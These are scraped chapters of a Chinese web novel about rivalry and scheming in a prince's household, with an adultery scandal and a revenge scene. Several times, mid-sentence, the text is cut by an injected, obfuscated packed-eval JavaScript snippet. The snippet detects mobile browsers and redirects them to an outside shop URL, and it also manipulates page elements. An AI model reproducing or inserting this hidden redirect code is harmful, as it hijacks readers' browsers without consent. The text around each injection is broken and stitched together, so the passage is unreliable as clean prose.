“我我先想想办法,没事的话,我我先回去碧水苑。” 沈慕兮刚要退下,被康氏叫住了。 “等等。” “老王妃?” 这次说话的是苏婆子,“老祖宗的意思是,你既然是我院子里的婢女,那就好好做好一个婢女的本分,碧水苑就别回去了,留在荣辉堂好好照顾老祖宗想办法把未来三个月的药粉寻来。” “可是” “嗯?” 沈慕兮到嘴边的话,以康氏不悦地“嗯”了一声结束。 苏婆子唤来了丫鬟,将沈慕兮安置到荣辉堂的下人房。 沈慕兮转身之时,跟苏婆子若有似无地对视了一眼,又默契地别开了眼神。 时值暮春,已经开始慢慢变热。 大通铺的下人房,一般都是给粗使婆子跟粗使丫鬟居住。 粗使婆子跟粗使丫鬟几乎是整个王府地位最低下的下人。 什么脏活累活都是她们承担。 因而下人房的空气中弥漫着一股散不去的怪异臭味。 饶是如此,沈慕兮依旧面不改色地跟给她领路的被唤作“花婆子”的妇人道谢了一声。 花婆子欲言又止地看了一眼沈慕兮。 到底也是荣郡王府的老人,她多多少少也是知道一些关于老荣郡王妃康氏跟荣郡王顾时在丹阳时候的事情。 纵然荣郡王在朝堂上极力否认有妻女一事,可是府上的小小姐却是真实存在的。 眼前这位姑娘早已过了豆蔻年华,又不是丫鬟装束,还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那不就是溪溪孩子没保住那件事? 顾时想要扶正裴望的手微微一顿,正想开口问下去。 忽然腰间一紧。 他顺着发紧的腰间望去,裴望的手不知道什么时候揽上了他的腰,修长如玉的手指正在掐他腰间软肉。 一股凉意连带鸡皮疙瘩同时窜满顾时全身。 他顾不得形象,连忙起身。 裴望突然没了支撑,一个趔趄就要倒在地上。 顾时上前搀扶了他一把。 裴望顺势将顾时抱到怀中,还用下颌蹭了蹭顾时的前额。 本来还打算灌醉裴望套话的顾时,还哪有心思想其他? 慌忙唤来了与陈十六一直守在外头的杜仲。 杜仲更是夸张地大叫了一声,飞扑上前将裴望一把薅开。 “大人,你怎么可以将王爷抱得这么紧?这成何体统?” 眼下醉仙楼正是人最多的时候。 不少人纷纷往包厢的方向看。 顾时忍不住涨红了脸。 “既然裴大人不方便,那咱们改日再叙。” 杜仲一边将裴望交给另外一个小厮,一边对顾时小声道歉,“我家大人,什么都好,就是有一个不能沾酒的坏毛病,哎呀,这次估计又是麻烦了。” 他懊恼地看了一眼周围还在往这边偷看的人。 在一旁的陈十六默默吐槽:要不是你刚才那一嘴巴,估计还没这么多人看,你一嚎,自然个个都往这边看了。 顾时没有注意到陈十六的神色变化,擦了擦前额的冷汗,“裴大人这种情况,确实不宜沾酒。” 他总算明白,为何之前宫宴上,在所有人都需要喝酒的情况下,偏偏只有裴望只能喝茶 杜仲无奈一笑,亲自送顾时去后巷上轿离开。 “等我家大人醒了,定然请他亲自上门为您道歉。” 说完,他躬身亲自为顾时掀起轿帘。 顾时心中想的却还是裴望醉酒时提及的事情。 思量再三,他决定开门见山,“刚才裴大人醉酒,说了一个事,是关于荣郡王府的,本王想知道,你对此事的知晓程度。” 闻言,杜仲挂在脸上的笑容一僵,眼神心虚地移向其他地方,“是是吗?” 顾时眼睛缓缓眯起,“这么说来,你也是知道这个事情了?” 杜仲还想顾左右而言他,顾时拔高了音量,“怎么,现在本王连自己的事情都知道不得了?” 骤然而来的威压逼得杜仲忍不住双膝一软,跪在地上。 “王爷,并非是小的不想说,而是大人之前有所明言,兹事体大,若是不处理好,会让荣郡王府阖府不得安宁” 顾时不耐烦地打断了他的话,“本王答应你,只要你告诉本王,本王可以替你保密。” “可” 杜仲还在迟疑。 顾时板起脸,“有些事情,若是本王想要细查,总能查到,只是时间的问题罢了。” 眼看顾时态度坚决,杜仲最后不得不妥协。 “好,”他咬牙抬头,目光坚定,“希望王爷能够保密。” “这是自然。”顾时弯腰扶起杜仲。 杜仲顺势起身,两人走到后巷一处死胡同处,他才开始组织语言,“不瞒王爷,前些天,小的下面那些人在追查一个案子,途经悦雅巷的时候,在一处二进的宅子看到了一些不该看的东西” 说着,杜仲又犹豫了一下,眉头都快要打成死结了。 “王爷,您确定要听?” 全神贯注听事件又突然被打断,顾时已经没有了耐性,“陈十六。” 杜仲立刻阻止了顾时唤人的动作,“王爷,王爷,咱们有话好说,密都泄一半了,您这才不让我泄,是不是有点不好?” 眼看顾时转身就要离开,杜仲拉着顾时的衣袖,一口气将没说完的话全数吐出,“在悦雅巷一座二进宅子里,看到了苏府二公子与一有孕女子,在秋千之上颠鸾倒凤不知天地为何物。 原以为那是苏二公子养在外头的妾室,咱的人也没有想太多,哪知道哪知道,那秋千上的有孕女子竟然与荣郡王妃长得一模一样。” “荒唐!!” 杜仲的话才刚说完,顾时已经毫不留情地揪起了他衣襟交领,目露凶光瞪着他,“你若是再敢胡言乱语污蔑本王的王妃,本王” 对比顾时的震怒,杜仲像个鹌鹑一样,恨不得直接把自己埋在被顾时拎起的衣领里。 “若是大人认为这是假的,那咱们,咱们就忘了这件事,大人没有问小的,小的什么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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荣郡王府。 辛婆子再次急匆匆地回到了落霞苑。 “小姐,老奴打听清楚了,确实是一个年约二十七八的女子,脸上有伤疤,连走路都不怎么利索,今日,老王妃还特地指明让她伺候在身边,这会人已经留在荣辉堂了” 虞悦希双拳紧紧攥起,因为力度太大,她的指节发白,眼神像刀子似的射向辛婆子,“你确定?” 荣辉堂那个老虔婆什么时候变得这么好说话了? 辛婆子一脸肯定,“老奴跟荣辉堂的花婆子有点交情,错不了。” 尽管虞悦希心智再成熟,如今她也只是一个孩子。 能力有限。 “不行,这个事情,一定要让娘亲知道。” 火烧眉毛了,她跟亲娘的“恩怨”,必须要放在一边。 身上动作比自己的想法更快,等虞悦希做好决定的时候自己已经一路小跑出去,连带将辛婆子的叫唤也抛到脑后,“小姐,您现在还在禁足,王爷不允许您见王妃” 一路小跑到主院外的回廊下,虞悦希远远就看到了顾筱筱。 今日她一身绣工精美的浅绿织莲纹蜀锦百褶裙,双丫髻上是一朵栩栩如生的蝶恋花金玉嵌银珠花,连刘海也是梳理得整整齐齐的。 一看就是认真打扮过。 光鲜亮丽的衣饰打扮,几乎让人忽略了她脸上有的伤疤。 而且 此时出现在她面前的小姑娘,面容透着健康的粉嫩,与前几天蜡黄的脸色截然不同。 虞悦希的妒火一下子燃烧起来——凭什么她这些天过得水深火热,而这个小贱人却这般得宠? 她想上前撕烂她的衣裳,剪光她的头发,可现在的情况跟以前不一样。 她硬生生地将这个冲动压下,几乎是咬牙切齿地几乎一句话,“好狗不挡路。” 原以为,顾筱筱会像以前一样,看到她,脸色会变得惊恐异常并会主动让路。 没想到这次她居然胆大包天,不仅不让路,还朝她冷冷一笑,“姐姐这么急,想去哪?” 这笑容,隐隐还带了一些胜利者的姿态。 这副模样,落在虞悦希眼里,就是小人得志,若是之前,她早已立刻上前撕烂她的嘴脸。 可是现在 “与你何干?”她深呼吸一下,神色阴鸷地直视顾筱筱,“别以为你那个贱人娘回来了,你就可以在荣郡王府横着走,我娘亲才是荣郡王府真正的王妃。” “王妃又怎样?”像是听到十分好笑的事情,顾筱筱轻嗤一声,睨了虞悦希一眼,“别忘了,你娘亲嫁过人才嫁给我爹爹,我爹爹嘴上不说,心里肯定嫌弃得紧。” 说完,她笑着走到虞悦希身侧,用只有两个人听到的声音,低声开口,“昨天爹爹说了,以后他会休了你娘亲,让我娘亲做王妃。” “不可能。” 虞悦希几乎是本能开口反驳沈慕兮的话,抬手就要给沈慕兮一巴掌。 顾筱筱身边的贺月十分迅速地拦下了打向顾筱筱的巴掌,反手将虞悦希用力一搡。 虞悦希顿时后退了几大步,最终抵不住惯性,狠狠摔倒在地。 臀部以及脸部传来的痛楚让她惊觉,这不是梦!! 顾筱筱那个贱人,居然敢反抗。 她怎么敢! 虞悦希震惊地看向顾筱筱,仿佛她第一次认识她。 分明,这个小贱人不久之前看到她还唯唯诺诺 难道,这些都只是演戏,目的就是为了麻痹她们的视线? 越想越觉得有可能,她强忍着脸上的疼痛,控诉似的开口,“你以前怕我,都是装的?” 如果真的是这样,那以前的她也未免太能忍,太能装了。 顾筱筱不置可否,居高临下地瞥向她,“你以为祖母为什么要将我娘亲留在荣辉堂,自然是要熬死你娘啊。” 她的声音带着得意,嘲笑似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287859|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了虞悦希一眼,在虞悦希从震惊转为愤恨与忌惮的目光下离去。 最开始,她还能保持娘亲教她的优雅,一步一步走得极为规整。 到后面,她的脚步越来越快,神色越来越奇怪。 一路小跑回到碧水苑,她才抱着贺月笑了起来。 “月姐姐,你看,原来虞悦希也会害怕” 笑着笑着,她的眼泪出来了。 贺月心疼地拭去了她泪花,将她揽入怀中,“小姐,没事了,都过去了,最大的坎迈过去之后,你们母女的前路只剩下坦途。” 也许是过去的事情给虞悦希带来太大的阴影,又或许是“坦途”二字来得不易。 本来只是无声落泪的顾筱筱,此时竟小声啜泣起来。 主院。 虞悦希几经艰难,总算闯到苏柳溪屋外。 翠娥本来还想拦一下,被苏柳溪叫住了。 “让她进来。” “可是小姐,她” “没事的。” 苏柳溪虚弱地半靠在床上宽慰翠娥。 虞悦希很快被带进屋中。 几天不见,她脸上的伤似乎有了恶化。 才踏入房门,她身边带起的风就将她身上的腐肉味霸道地卷进房中的每一个角落。 本来苏柳溪还在坐小月子,屋中空气极为不流通。 再被这么一熏,苏柳溪胃里一阵翻涌,接连干呕了几声。 翠娥立刻关切上前,“小姐” 苏柳溪摆了摆手,示意翠娥退下。 翠娥还想说些什么,可对上苏柳溪坚决的眼神,还是什么都没说出来,乖乖退了下去。 自始至终,虞悦希都用那副事不关己的淡漠神色看着主仆二人的互动。 最终还是苏柳溪打破了房中寂静。 “你来做什么?” 她有气无力地半靠在床边,一副不想搭理虞悦希的模样。 第141章 她不做外室,只是因为不想离开本王? “娘亲” 虞悦希嘴巴微动,软软喊了一声。 苏柳溪嘲讽朝她微微一笑。 “我这个从头到尾对你只有利用的人,担不起虞大小姐的一声娘亲。” 虞悦希微微一噎。 “娘亲至今还在怪我吗?” 苏柳溪没有看她。 对于虞悦希,她的心情极为复杂。 当初怀上这个女儿的时候,她天天提心吊胆,担心女儿的真实来历被拆穿 好不容易熬死了虞洪,以为母女二人的好日子来了。 没想到平静日子没有过上几天,苏康那个冤家又来闹她,又有了孩子 想到这里,她终于忍不住看了一眼虞悦希。 平心而论,这个女儿,模样像她,性子也像她。 也是因为如此,她才知道虞悦希的心狠 纵然她厌恶她的心狠手辣,却也不得不承认,这个女儿,歪打正着帮了她一个大忙——她早已知晓这个孩子活不到出生,想要嫁祸给顾筱筱。 但是她能不能成功嫁祸,取决于顾时的心在哪一边。 很明显,自从顾筱筱回府以后,顾时对于顾筱筱的关怀与重视都远超以往,若是贸然嫁祸给顾筱筱,顾时说不定会起疑心去细查;若是不嫁祸出去,孩子突然没了,顾时若是重视她,还是会细查 她的肚子,经不起细查 “娘亲” 虞悦希示好的一生轻唤,拉回了苏柳溪的思绪。 “你今日前来,所为何事?”她正了正身子,一改刚才的冷漠。 虞悦希垂眸,敛去了眼底的阴鸷,“女儿听说,姓沈的那个老贱人回来了。” “什么?” 苏柳溪差点从床上跳起来,几乎是脱口而出否认,“不可能。” 抬眸看到虞悦希信誓旦旦的神色,她又犹豫了,“可是确定了?” “女儿确定,”虞悦希点头,“现在府上都在谈论这个事情,顾叔叔还不让你知道,这很明显就是有内情” “顾时想要再续前缘。”苏柳溪抿唇。 纵然很不愿意承认,可是眼下就是事实。 或许,在沈慕兮刚从丹阳回来的时候,顾时对她确实有过那么一点真心 可是,习惯是很可怕的东西。 更可怕的是,顾时已经习惯了沈慕兮一直陪在他身边而不自知。 她无论如何都忘不了二人大婚那天,顾时在情绪激昂之时唤出来的那一声“慕慕” 这般泾渭分明,连一个做梦的机会都不给她。 每每想到那天晚上,苏柳溪只觉得无比屈辱。 偏偏,那个本来应该死了的人,如今却还好好地活着回来荣郡王府。 “这其中肯定有蹊跷” 她努力让自己的声音语气变得平静,紧紧攥着被子、连指节都攥得发白的双手却出卖了她此时内心的紧张与慌乱。 虞悦希没有再说话,只站在原地安静等待下文。 好一会,苏柳溪像是调整好了心态,重新看向虞悦希,“我让翠娥这几天跟在你身边,你与她一同去查探,若是她真的没死” 说到这里,苏柳溪停顿了一下,虞悦希连忙问道,“如何?” 苏柳溪冷笑一声,一双眸子淬满了杀意。 “那就让她再死一次。” 不知是因为嫉妒还是仇恨,苏柳溪的目光扭曲得有些狰狞。 虞悦希平静点头,“女儿一切听从娘亲安排。” 虞悦希带着翠娥离开主院没多久,顾时也回府了。 此时已是暮色四合。 他本能地想要往自己院子的方向而去,步子才刚迈开,他的脑子里忽然浮现出杜仲说出来的那个场景。 纵然可能会冤枉了苏柳溪,可是真相一天还未大白,他的心中膈应得慌,迈出的步子最终还是转向前往书房的方向。 秦寿悄无声息地跟上,小声在他生病汇报,“王爷,今日夫人去了老王妃那里。” 顾时的步子微微一顿,“她去母妃那里做什么?” “老奴打听过了,她似乎不想离开荣郡王府?” 秦寿话音才刚落下,顾时的脸色顿时黑沉如水。 “她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287860|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在矫情什么?” 她说了不为妾,他都已经让步了,不与她和离,还在外头给她买宅子,与她夫妻相称,她还想怎样? “不,”秦寿的话打断了顾时充满抱怨的思绪,“老奴听说了,夫人想要请求留在老王妃身边的原因,似乎是因为您跟小小姐,老奴听荣辉堂的下人说,夫人当时的意思是,想要亲眼看着小小姐在侯府长大,而她想默默陪在您身边,每天都能看到你” 秦寿的话成功拨开了顾时心中的阴霾。 “如此说来,她不做外室,只是因为不想离开本王?” 顾时垂眸,敛去了眼底翻涌且激动的情绪。 奈何,微颤的声音还是出卖了他此时内心的激动。 对于沈慕兮,他的感情很复杂。 过去数月,睡在他身边的是他少年时候的念想。 可是,每当午夜梦回,他内心深处渴望的却是那一个凛冽冬天里刻意留给他的窝窝头;炎炎夏日中,那一个带 着荷花清香以及混杂了其他药香的驱蚊香囊 在他身体康健时,那个人陪在他身边不吵不闹,在他受伤时,那个人会因为担心他而彻夜无眠,甚至不眠不休地照料他 自从捡到那一方帕子以后,只要想起她,他的鼻尖,总能萦绕着她身上挟裹的、荷叶之中混杂着荷花的清香 甚至 在入眠之时,他都只能紧紧握住她那天遗落的绣帕,轻嗅绣帕上的香味才能安然入睡。 一时走神,他连什么时候回到书房、秦寿什么时候退下都不知道。 右手再次隐隐作痛,他抬起左手轻轻按摩了一下右手手臂曾经的伤处,突如其来的剧烈疼痛,让他忍不住闷哼一声。 几乎就在同时,一双带着劳作薄茧的纤手缓缓搭上他的双肩,为他不轻不重地按摩起来。 顾时本能地抓住了对方的手 一声熟悉惊呼,他像是被火烫到一样立刻松开。 “怎么是你?” 他想努力表现她对她的不耐烦,可是看到她的那一刻,眼眸里骤然迸发的光彩,毫无保留地出卖了他狂喜的心情。 第142章 我看你还能忍到什么时候? 沈慕兮一脸被抓包的无措,支支吾吾开口,“我我只是想着你可能会旧伤复发,给你送药” 说话间,她将一个小瓷瓶塞到他手上,“自己涂药。” 话落,她转身就要离开。 “慕慕。” 他反手拉住她。 沈慕兮的手动了几下,挣脱不开,才无奈停下来抬眸红着眼眶,一脸决绝地看着他,“你已经有了正妻,其实不应该再跟我拉扯。” 她嘴上的话说得绝情,看向他的眼神却充满了挣扎与犹豫。 顾时恨不得立刻将她拥入怀中,“我已经知道你为了想留在我身边做的事情了” 他上前一步。 沈慕兮满眼警惕地后退了一步,甚至还抬手做了一个阻挡的动作,“我是为了筱筱。” “慕慕” “好了,不用多说,”沈慕兮一副“你再说我就要心软了”的纠结模样捂耳,一双看向顾时的眼睛写满了不耐烦,“我今日给老王妃送了药,这会还要回去伺候老王妃歇下,就不在你这里浪费时间了,王爷旧疾复发,就好好养身体。” 一口气撂下一串话,沈慕兮一拐一瘸大步往外冲。 顾时这时候才注意到,沈慕兮的腿上似乎还有伤。 他急忙追出去,刚好看到负责看守书房的侍卫拦下了她。 “你是哪个院子的?如何进来王爷的书房?” “我是在” 还未等沈慕兮说话,顾时立刻上前开口,“是本王让她来的。” 两名侍卫脸色微变,立刻朝顾时见礼,得了顾时嘴里出来的那句“免礼”后,才跟沈慕兮道歉,“刚才多有得罪,还望姑娘莫要见怪。” 沈慕兮对待下人一如几个月前的亲和,“没事,你们也只是为了王爷的安全。” 侍卫退下后,顾时立刻关切地握住了她的双手。 “你的腿,是怎么伤的?” 沈慕兮慌乱收回了手,“不关你的事,王爷若是没事,就先回去吧。” 说完,她再次落荒而逃。 转身之时,刚好被顾时看到她因为害羞而发红的耳根。 顾时缓缓眯眼,看着一瘸一拐离开的背影,嘴角勾起一抹意味不明的笑意,“原来,是欲擒故纵。” 书房外的小插曲全数落入了虞悦希跟翠娥眼中。 翠娥脸都绿了。 “果然是她。” 一炷香后。 翠娥跟虞悦希白着脸出现在主院,将自己看到的事情,全数告诉了苏柳溪。 “什么?” 因为激动,苏柳溪一口气提不上来。 翠娥为她顺了好一会气,才缓过来。 “那个贱人现在可以自由出入书房?” 翠娥点头,“奴婢回来的时候还可以打听了,那个人现在还得了老王妃庇护,只怕咱们不好动手。” 苏柳溪冷笑,“能不能护住她,是康氏的本事,能不能动她,那就是我的能耐了。” 说出“能耐”二字时,她放在被下的手已经紧紧攥成拳,苍白的脸色在摇曳的灯光照耀下,看上去格外渗人。 翠娥跟虞悦希对视了一眼,两人都从对方的眼底看出了凝重。 窗外,一个娇小的身影迅速淹没在黑暗中。 翌日。 忙碌了大半天的沈慕兮拿着纸条偷摸去了以前荒废的冷苑后。 红豆早已等候多时。 “姑娘,人已经出去了,大概今晚就会有动静。” 沈慕兮眼底闪过一抹亮色,“好,一切按计划进行。” “是。” 红豆悄然离开。 沈慕兮本想打算在红豆离开后,自己再跟着离开。 结果没走出几步,就遇到了来这边发呆的顾时。 沈慕兮冷淡的模样没转变过来,看到顾时,本能拔腿就跑。 跑得太快,一时之间,她忘记了自己是个瘸子。 等她反应过来的时候,一条腿骤然抽筋,眼看就要摔倒在地。 她紧紧闭上双眼伸出双手 预期的疼痛没有袭来。 一阵天旋地转,她竟稳稳落入了一个略微单薄的怀抱中。 这样熟悉又陌生的怀抱,沈慕兮几乎不用排除就猜到是谁。 她想要用力将人推开。 骤然想起自己之前在落下的帕子上加的东西。 害怕顾时受伤会细查,她硬是收住了力气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287861|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站稳以后,迅速从顾时怀中挣开,神色淡漠疏离却带了几分隐忍的纠结。 “王爷既然有这个时间,还不如多去陪陪你的妻子。” 说完,她逃也似的跑开了。 就她刚才的神态动作语言而言,无一不给顾时一种她在“口是心非”的错觉。 顾时依旧没有追上去。 回想刚才她从他怀中起来的时候,那双想要用力却不敢用力的手,此时竟像是猫爪一样,抓得他心痒难耐。 他捻了一下指腹放到鼻尖轻嗅。 依旧是熟悉的荷花清香。 他戏谑挑眉,“我看你还能忍到什么时候?” 口是心非让他陪妻子是吧? 那他今晚就回去主院陪溪溪。 夜深人静。 安静的荣郡王府被一声划破天际的惨叫声打破了所有平静。 连带惊动了已经睡下了的康氏。 外头动静似乎很大,火把交映,影影倬倬。 她急忙唤来了苏婆子。 “发生什么事了?” 苏婆子一脸为难,“好像是,王妃床上多了一个男人,这会,王爷大怒,正在劳师动众地审问。” 又是审问。 想起几个月前顾时才在她的生辰宴上闹了这么一出,康氏头痛欲裂。 “这一天天的,就没有一个是让人省心的。” 她嘀咕了几句就要下床。 苏婆子担心地上前搀扶,劝说道,“老祖宗,您的腿伤还未痊愈。” 康氏动了动受伤的腿,什么感觉都没有。 “无妨,迟早都要去看看,实在不行,带上沈氏。” 沈慕兮正在下人房想着要找什么借口出去凑热闹。 康氏就遣人来找她,简直就是打瞌睡的刚好遇上送枕头的。 她嘴角的笑容差点压不下去。 “好好好,我这就来。” 主院前小院。 苏柳溪衣衫不整跪在地上。 跪在苏柳溪身边的,是同样衣衫不整露出了大片胸肌的苏康。 顾时坐在上首,整个人都像在散发着绿光。 “你们两个,现在还有什么话可说的?” 第143章 这么快就不认得我了? 苏柳溪哭得梨花带雨,“顾时哥,我冤枉” 顾时坐在上首,冷哼,“是不是冤枉,你自己清楚,难不成,你身上的衣裳还会自己掉地上?” 下人堆中传来了一个女声小声嘀咕,“有道是,有些事情一个巴掌拍不响,要是自己不愿意,难道别人还能逼迫你不成?” 顾时怒火中烧,“腾”地站起来看向跪在一堆的下人,“哪个不长眼的在胡说八道?滚出来。” 下人堆中恢复安静,下人们个个噤若寒蝉。 顾时咬牙,重新看向苏柳溪。 “我再问你一遍,这到底是怎么回事?” 苏柳溪跪爬着上前抓着顾时的长袍下摆,“顾时哥,勇弟只是来看我” 顾时怒极扯回衣裳,“一个府邸的男眷,堂而皇之地踏入女眷的后院,你们要聊什么,需要聊到床上去?” 沈慕兮与苏婆子一左一右扶着康氏前来主院,刚好看到顾时暴跳如雷把自己的长袍下摆从苏柳溪手上扯走。 康氏脱口制止,“时儿,你在做什么?” 顾时眼底迸发出骇人冷意,“母妃,苏氏她” “好了,母妃都清楚了。” 不等顾时说话,康氏已经打断了他即将说下去的内容。 目光还不忘分出了一些落在沈慕兮身上。 确认沈慕兮没有任何异常才继续开口,“左不过只是一场误会,你这般吵吵闹闹,成何体统?” “母妃” “好了,都散了。” 康氏完全没有理会顾时的反驳,直接下令遣散下人并让秦寿送苏康离开。 这是她给苏柳溪留下的最后颜面。 顾时不忿地看向两人,尤其是落在苏康身上的目光,恨不得将他千刀万剐。 苏康憨厚地朝康氏道了谢,又歉意地看向顾时,“顾大哥,现在不管我说什么,你都不愿意相信。 但是,天理昭昭,只要我是冤枉的,那就一定会有水落石出的一天,我问心无愧。” 说完,苏康披上了秦寿寻来的衣裳,大步离开。 没有人知道,他脸上的憨厚神色,早已在他身影隐入黑暗的那一刻,变得狰狞无比。 康氏阻止闹剧发生的目的已达到,倦意上头,也没有逗留的心思。 就在她准备转身离开之际,苏柳溪像是找到了救命稻草一样,跪爬到康氏身边,“婆母,求婆母帮我儿媳是被冤枉的。” 眼前女子,脸色惨白如纸,几缕碎发沾在鬓边被冷汗濡湿,看上去狼狈却又带着几分让人心生疼惜的柔弱。 也不知道她是有心还是无意,在飞扑到康氏身上的时候,她竟直直压上了康氏的左腿。 顾时急忙上前,一把将苏柳溪拖着站了起来,“母妃的腿伤未愈,经不起你这样的折腾。” 这一拖,毫无怜惜,苏柳溪的左手肩膀传来一阵钝痛,她一下子忍不住,捂着左手呼痛出声。 “啊,顾时哥,我的手好痛” 顾时眉眼间的不耐无论如何都压不下去。 “你别装了,刚才跪爬用的是膝盖,要痛也是你的腿痛,叫什么手痛?” 说话的时候,他甚至连一个眼神都没有分出来给苏柳溪,而是关切地看向康氏。 “母妃,您的腿现在感觉如何了?” “比之前好多了,”康氏满怀欣慰地看了一眼一直在自己身边伺候的沈慕兮,“多亏了沈氏,不然我这条腿就得废。” 只要想起她的腿,康氏就没办法对苏柳溪和颜悦色。 似是存心要给苏柳溪添堵,康氏本来已经转到一半准备离开的身子重新转向顾时,笑道,“时儿,虽说沈氏在母妃身前伺候的时间不多,可是这些天她脾气的改变母妃也是看在眼里。 左右你与她也算是没了关系,要不,母妃就将沈氏收为义女,让她在我身边伺候,至于筱筱你将她记在苏氏名下,给她一个好的出身,也算是全了你们一家人的缘分。” 顾时看了一眼搀扶老王妃的沈慕兮,后者没有抬起头,厚重的刘海掩去了她眼底的神色。 倏地,他手上一紧。 刚才还在叫手疼的苏柳溪,不知道什么时候握上了他的手,他咬牙,“一切全凭母妃做主。” “好,就这么决定了。”康氏笑着睨了苏柳溪一眼,“有时候,有些事情,也不是一个女子能左右,更何况苏氏现在身体虚弱,若是有心之人想要钻空子,也不是不可能。” “孩儿自当查明一切,不会随意冤枉了人,更不会让做了坏事的人逍遥自在。” 得了顾时的表态,康氏满意离开。 即将回到荣辉堂之际,她语气傲慢地朝沈慕兮开口,“该说的话,我已经说了,后面应该要怎么做,不需要我再多说了吧。” 沈慕兮欢喜,“草民自当竭尽全力,为老王妃将腿养好。” 康氏满意地笑了。 “过不久,筱筱就会记养在苏氏名下,若是你连这点小事都办不好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287862|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后果你是知道的。” 沈慕兮瑟缩了一下,“是。” 主院。 一场闹剧拉下了帷幕,顾时跟苏柳溪之间的氛围依旧是剑拔弩张。 回屋 后,顾时甚至连一个眼神都没有给苏柳溪。 苏柳溪也顾不上矜持,抬手就要拉住他的衣袖,“顾时哥,你听我解释。” 不等顾时不耐烦地扯开了她的手,她已经顺着顾时想要推开她的力度攀上了顾时的肩,紧紧拥住顾时。 “我真的是被冤枉的,不知道为什么,今日的药汤被加了安神茶,等我醒来,勇弟已经在我床上了。” 感觉到顾时没有再推拒,她再接再厉。 “你信我,我我真的是被逼的。” 房间里,下人早已识趣退下,在苏柳溪为自己辩解后,顾时没有再说话。 苏柳溪也不敢多说其他。 整个房间,落针可闻。 就在苏柳溪斟酌语言,想要再次开口之际,顾时终于开口了。 “苏勇为何会突然出现在后宅?” 苏柳溪一噎,“既然是陷害,对方自然是做足一切准备” “那之前你去他在悦雅巷的宅子,也是被陷害吗?” 顾时上前一步,将她逼至角落。 苏柳溪眼神闪烁了一下,急忙抬眸对上顾时眼睛。 “我” “算了,”像是赌气似的,顾时转身不看苏柳溪,“有些事情,若是从一开始就解释不清楚,后面不管多说什么,都只是越描越黑。” 说完,他头也不回地大步离开。 “顾时哥啊” 苏柳溪一时情急想要追上顾时,奈何她的左脚绊住右脚,一下子摔倒在地。 她的呼痛,没能换来顾时的回头看一眼,仅仅只是让他短暂驻足片刻。 “这些天,你先好好歇下,等我忙完了,再来看你。” 他离开的步子愈发急切。 全然无视了苏柳溪跌倒在地哭得撕心裂肺。 不知道过了多久。 一双粗布女鞋出现在她面前,与精美的织花地毯格格不入。 她停住了哭泣,抬眸往上看。 对上了一张熟悉得不能再熟悉的脸。 她惨叫一声,手脚并用往后爬。 沈慕兮步步紧逼,逼得她退无可退,才蹲身在她面前微微一笑,“怎么,才多久没见,这么快就不认得我了?” 第144章 苏柳溪怀疑:现在出现的沈慕兮肯定是假的 “你真的是你” 苏柳溪惊恐地瞪大眼睛。 她还想往后躲,奈何她的手脚像是忽然失去了控制,不管她想如何动作,都只能停留在原地。 “我劝你还是不要乱动了,”沈慕兮笑着俯身贴近她的耳边低语,一字一顿极为清晰,“不管你怎么害怕,都改变不了我从地狱爬回来的事实。” “我不仅要向你索命,你身后的人,一个都跑不掉。” 她的语气森寒,让苏柳溪突然有一种被毒蛇缠上的惊悚。 